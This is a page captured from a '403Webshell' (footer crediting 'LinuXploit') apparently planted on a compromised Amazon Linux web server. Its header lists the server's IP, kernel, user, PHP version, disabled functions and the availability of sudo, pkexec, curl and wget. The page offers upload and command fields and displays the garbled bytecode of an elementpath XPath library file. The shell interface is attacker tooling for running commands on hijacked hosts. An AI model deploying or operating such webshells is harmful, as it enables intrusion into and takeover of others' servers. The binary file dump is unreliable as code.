403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/elementpath/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/elementpath/__pycache__/xpath_selectors.cpython-39.pyc
a

���cx�@s�ddlmZmZmZmZmZddlmZddlm	Z	m
Z
ddlmZddl
mZeeeZde	eeeeed�d	d
�Zde	eeeeeed�dd�ZGd
d�de�ZdS)�)�Any�Dict�Optional�Iterator�Type�)�NamespacesType)�ContextRootType�XPathContext)�XPath1Parser)�XPath2ParserN)�root�path�
namespaces�parser�kwargs�returnc	
Ks�|�dd�|�dd�|�dd�|�dd�|�dd�|�dd�|�d	d�d
�}|pRt|fi|��}|�|�}t|fi|��}|�|�S)a!
    XPath selector function that apply a *path* expression on *root* Element.

    :param root: an Element or ElementTree instance.
    :param path: the XPath expression.
    :param namespaces: a dictionary with mapping from namespace prefixes into URIs.
    :param parser: the parser class to use, that is :class:`XPath2Parser` for default.
    :param kwargs: other optional parameters for the parser instance or the dynamic context.
    :return: a list with XPath nodes or a basic type for expressions based     on a function or literal.
    �itemN�positionr�size�axis�	variables�
current_dt�timezone�rrrrrrr)�popr�parser
�get_results�	r
rrrrZcontext_kwargsZ_parser�
root_token�context�r!�?/usr/lib/python3.9/site-packages/elementpath/xpath_selectors.py�selects






�	
r#c	
Ks�|�dd�|�dd�|�dd�|�dd�|�dd�|�dd�|�d	d�d
�}|pRt|fi|��}|�|�}t|fi|��}|�|�S)a
    A function that creates an XPath selector generator for apply a *path* expression
    on *root* Element.

    :param root: an Element or ElementTree instance.
    :param path: the XPath expression.
    :param namespaces: a dictionary with mapping from namespace prefixes into URIs.
    :param parser: the parser class to use, that is :class:`XPath2Parser` for default.
    :param kwargs: other optional parameters for the parser instance or the dynamic context.
    :return: a generator of the XPath expression results.
    rNrrrrrrrr)rrrr
�select_resultsrr!r!r"�iter_select0s






�	
r%c@sxeZdZdZdeeeedd�dd�Zed�dd�Z	e
eeefd�d	d
��Ze
eed�dd
�Ze
eeed�dd�ZdS)�Selectora�
    XPath selector class. Create an instance of this class if you want to apply an XPath
    selector to several target data.

    :param path: the XPath expression.
    :param namespaces: a dictionary with mapping from namespace prefixes into URIs.
    :param parser: the parser class to use, that is :class:`XPath2Parser` for default.
    :param kwargs: other optional parameters for the XPath parser instance.

    :ivar path: the XPath expression.
    :vartype path: str
    :ivar parser: the parser instance.
    :vartype parser: XPath1Parser or XPath2Parser
    :ivar root_token: the root of tokens tree compiled from path.
    :vartype root_token: XPathToken
    N)rrrrrcKs<|�dd�|_|pt|fi|��|_||_|j�|�|_dS)Nr)r�
_variablesrrrrr)�selfrrrrr!r!r"�__init__]szSelector.__init__)rcCsd|jj|j|jjjfS)Nz%s(path=%r, parser=%s))�	__class__�__name__rr�r(r!r!r"�__repr__ds�zSelector.__repr__cCs|jjS)z<A dictionary with mapping from namespace prefixes into URIs.)rrr,r!r!r"riszSelector.namespaces)r
rrcKs4d|vr|jr|j|d<t|fi|��}|j�|�S)aG
        Applies the instance's XPath expression on *root* Element.

        :param root: an Element or ElementTree instance.
        :param kwargs: other optional parameters for the XPath dynamic context.
        :return: a list with XPath nodes or a basic type for expressions based on         a function or literal.
        r)r'r
rr�r(r
rr r!r!r"r#ns	
zSelector.selectcKs4d|vr|jr|j|d<t|fi|��}|j�|�S)aB
        Creates an XPath selector generator for apply the instance's XPath expression
        on *root* Element.

        :param root: an Element or ElementTree instance.
        :param kwargs: other optional parameters for the XPath dynamic context.
        :return: a generator of the XPath expression results.
        r)r'r
rr$r.r!r!r"r%}s	
zSelector.iter_select)NN)r+�
__module__�__qualname__�__doc__�strr�
ParserTyperr)r-�propertyrrr	r#rr%r!r!r!r"r&Ls��r&)NN)NN)�typingrrrrrrrZ
xpath_contextr	r
Zxpath1rZxpath2rr3r2r#r%�objectr&r!r!r!r"�<module>
s ���
�

Youez - 2016 - github.com/yon3zu
LinuXploit